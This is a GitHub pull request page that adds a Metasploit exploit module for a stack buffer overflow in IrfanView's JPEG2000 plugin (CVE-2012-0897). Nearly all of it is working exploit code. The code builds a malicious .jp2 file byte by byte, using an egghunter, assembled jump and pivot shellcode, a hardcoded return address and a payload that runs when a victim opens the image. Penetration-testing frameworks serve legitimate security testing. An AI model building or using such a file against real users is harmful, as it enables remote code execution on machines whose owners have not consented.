Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

irfanview_jpeg2000_bof: review of pull req #543 #546

Merged
merged 3 commits into from
Jun 30, 2012
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
213 changes: 213 additions & 0 deletions modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,213 @@
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Egghunter

def initialize(info = {})
super(update_info(info,
'Name' => 'Irfanview JPEG2000 <= v4.3.2.0 jp2 Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability in
version <= 4.3.2.0 of Irfanview's JPEG2000.dll plugin. This exploit has been
tested on a specific version of irfanview (v4.3.2), although other versions may
work also. The vulnerability is triggered via parsing an invalid qcd chunk
structure and specifying a malformed qcd size and data.

Payload delivery and vulnerability trigger can be executed in multiple ways.
The user can double click the file, use the file dialog, open via the icon
and drag/drop the file into Irfanview\'s window. An egg hunter is used for
stability.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Parvez Anwar <parvez[at]greyhathacker.net>', # vulnerability discovery
'mr_me <steventhomasseeley[at]gmail.com>' # msf-fu
],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2012-0897' ],
[ 'OSVDB', '78333'],
[ 'BID', '51426' ],
[ 'URL', 'http://www.greyhathacker.net/?p=525' ],
],
'Platform' => [ 'win' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f'
},
'Payload' =>
{
'Space' => 4000,
'DisableNops' => true,
},
'Targets' =>
[
# push esp; retn [i_view32.exe]
[ 'Irfanview 4.32 / Plugins 4.32 / Windows Universal', { 'Ret' => 0x004819d8 } ]
],
'DisclosureDate' => 'Jan 16 2012',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ true, 'The output file name.', 'msf.jp2']),
], self.class)
end

# encode our string like unicode except we are not using nulls
def encode_bytes(raw_bytes)
encoded_bytes = ""
0.step(raw_bytes.length-1, 2) { |i|
encoded_bytes << raw_bytes[i+1]
encoded_bytes << raw_bytes[i]
}
return encoded_bytes
end

def exploit
jp2 = ""
jp2 << "\x00\x00\x00\x0c" #
jp2 << "\x6a\x50\x20\x20" # [jP ] <0x6a502020> magic 0xd0a870a,len 12
jp2 << "\x0d\x0a\x87\x0a" #
jp2 << "\x00\x00\x00\x14" #
jp2 << "\x66\x74\x79\x70" #
jp2 << "\x6a\x70\x32\x20" #
jp2 << "\x00\x00\x00\x00" # MinorVersion = 0 = [\0\0\0\0]
jp2 << "\x6a\x70\x32\x20" # Compat = 0x6a703220 = [jp2 ]
jp2 << "\x00\x00\x00\x38" #
jp2 << "\x75\x75\x69\x64" # [uuid] <0x75756964> len 56 data offset 8
jp2 << "\x61\x70\x00\xde\xec\x87" # 56 bytes with start and end tags
jp2 << "\xd5\x11\xb2\xed\x00\x50" #
jp2 << "\x04\x71\xfd\xdc\xd2\x00" #
jp2 << "\x00\x00\x40\x01\x00\x00" #
jp2 << "\x00\x00\x00\x00\x60\x09" #
jp2 << "\x00\x00\x00\x00\x00\x00" #
jp2 << "\x00\x00\x00\x00\x00\x00" #
jp2 << "\x00\x00\x30\x00\x00\x00" #
jp2 << "\x00\x00\x00\x2d" #
jp2 << "\x6a\x70\x32\x68" # [jp2h] <0x6a703268> len 45 data offset 8
jp2 << "\x00\x00\x00\x16" #
jp2 << "\x69\x68\x64\x72" # [ihdr] <0x69686472> len 22 data offset 8
jp2 << "\x00\x00\x00\x0a" # ImageHeight = 10
jp2 << "\x00\x00\x00\x0a" # ImageWidth = 10
jp2 << "\x00\x03" # NumberOfComponents = 3
jp2 << "\x07" # BitsPerComponent = 7
jp2 << "\x07" # Compression = 7
jp2 << "\x01" # Colorspace = 0x1 = unknown
jp2 << "\x00\x00\x00\x00\x0f" #
jp2 << "\x63\x6f\x6c\x72" # [colr] <0x636f6c72> len 15 data offset 8
jp2 << "\x01" # Method = 1
jp2 << "\x00" # Precedence = 0
jp2 << "\x00" # ColorSpaceAproximation = 0
jp2 << "\x00\x00\x00" # EnumeratedColorSpace = 16 = sRGB
jp2 << "\x10\x00\x00\x00\x00" #
jp2 << "\x6a\x70\x32\x63" # [jp2c] <0x6a703263> length 0 data offset 8
jp2 << "\xff\x4f" # <0xff4f=JP2C_SOC> Start of codestream
jp2 << "\xff\x51" # <0xff51=JP2C_SIZ> length 47
jp2 << "\x00\x2f" # 47 bytes
jp2 << "\x00\x00" # Capabilities = 0
jp2 << "\x00\x00\x00\x0a" # GridWidth = 10
jp2 << "\x00\x00\x00\x0a" # GridHeight = 10
jp2 << "\x00\x00\x00\x00" # XImageOffset = 0
jp2 << "\x00\x00\x00\x00" # YImageOffset = 0
jp2 << "\x00\x00\x00\x0a" # TileWidth = 10
jp2 << "\x00\x00\x00\x0a" # TileHeight = 10
jp2 << "\x00\x00\x00\x00" # Xtileoffset = 0
jp2 << "\x00\x00\x00\x00" # Ytileoffset = 0
jp2 << "\x00\x03" # NumberOfComponents = 3
jp2 << "\x07\x01\x01" # Component0Pr=0x7=8 bits un,hsep=1,vsep=1
jp2 << "\x07\x01\x01" # Component0Pr=0x7=8 bits un,hsep=1,vsep=1
jp2 << "\x07\x01\x01" # Component0Pr=0x7=8 bits un,hsep=1,vsep=1
jp2 << "\xff\x52" # <0xff52=JP2C_COD> length 12
jp2 << "\x00\x0c" # 12 bytes
jp2 << "\x00" # codingStyle=0=entropy coder w/o partition
jp2 << "\x00" # ProgressionOrder = 0
jp2 << "\x00\x05" # NumberOfLayers = 0x5
jp2 << "\x01" # MultiComponentTransform=0x1=5/3 reversible
jp2 << "\x05" # DecompLevels = 5
jp2 << "\x04" # CodeBlockWidthExponent=0x4+2 # cbw ->64
jp2 << "\x04" # CodeBlockHeightExponent=0x4+2 # cbh ->64
jp2 << "\x00" # CodeBLockStyle = 0
jp2 << "\x00" # QMIFBankId = 0

eggoptions =
{
:checksum => false,
:eggtag => 'pwnd'
}

hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
qcd_data = ""
qcd_data << make_nops(10)
qcd_data << encode_bytes(hunter)
qcd_data << rand_text_alpha(146)

jmp_hunter = %q{
jmp $-0xad
inc ecx
}

# jump to our egghunter
jmp_hunter = Metasm::Shellcode.assemble(Metasm::Ia32.new, jmp_hunter).encode_string

qcd_data << encode_bytes(jmp_hunter)
qcd_data << rand_text_alpha(196-qcd_data.length)
qcd_data << encode_bytes([target.ret].pack("V"))

# align ecx and jmp
pivot = %q{
inc ch
jmp ecx
}

pivot = Metasm::Shellcode.assemble(Metasm::Ia32.new, pivot).encode_string

qcd_data << encode_bytes(pivot)
qcd_data << egg

jp2 << "\xff\x5c" # start
jp2 << "\x00\xf5" # arbitrary size to trigger overflow
jp2 << "\x22" # guard
jp2 << qcd_data # malicious code
jp2 << "\xff\x90" # <0xff90=JP2C_SOT>len 10
jp2 << "\x00\x0a" # 10 bytes
jp2 << "\x00\x00\x00\x00\x00\x68\x00\x01"
jp2 << "\xff\x93" # <0xff93=JP2C_SOD> Start of data
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
jp2 << "\x80\x80"
jp2 << "\xff\xd9"

# Create the file
print_status("Creating '#{datastore['FILENAME']}' file...")

file_create(jp2)
end

end